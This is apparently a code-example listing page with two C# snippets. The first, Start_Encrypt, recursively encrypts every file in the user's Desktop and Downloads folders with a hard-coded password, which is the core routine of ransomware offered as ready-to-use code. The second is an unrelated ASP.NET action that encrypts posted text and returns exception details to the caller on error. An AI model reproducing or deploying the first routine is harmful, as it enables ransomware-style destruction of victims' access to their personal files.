Exemplo n.º 1
0
        static void Start_Encrypt() //We see start encrypt files on desktop and download folder
        {
            string path           = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
            string userRoot       = System.Environment.GetEnvironmentVariable("USERPROFILE");
            string downloadFolder = Path.Combine(userRoot, "Downloads");

            string[] files  = Directory.GetFiles(path + @"\", "*", SearchOption.AllDirectories);
            string[] files2 = Directory.GetFiles(downloadFolder + @"\", "*", SearchOption.AllDirectories);



            EncryptionFile enc = new EncryptionFile();


            string password = "******"; //your password

            for (int i = 0; i < files.Length; i++)
            {
                enc.EncryptFile(files[i], password);
            }

            for (int i = 0; i < files2.Length; i++)
            {
                enc.EncryptFile(files2[i], password);
            }
        }
Exemplo n.º 2
0
        public async Task <ActionResult> Poststring(EncryptionFile model)
        {
            try
            {
                string result = String.Join("\r\n", model.outputLines);
                string res    = await _ServEncryption.Encryption(model.FileName, result);

                //string contentPath = "";
                //string path = @"\asset\Encryption\" + model.FileName + @".enc";
                //string contentPathFile = string.Format(@"{0}{1}", contentPath, path);
                //if (System.IO.File.Exists(contentPathFile))
                //{
                //    byte[] fileBytes = GetFile(contentPathFile);

                //    return File(fileBytes, System.Net.Mime.MediaTypeNames.Application.Octet, string.Format("{0}", model.FileName + @".enc"));
                //}
                return(Content("OK"));
            }
            catch (Exception ex)
            {
                return(Content("not found file\n" + ex));
            }
        }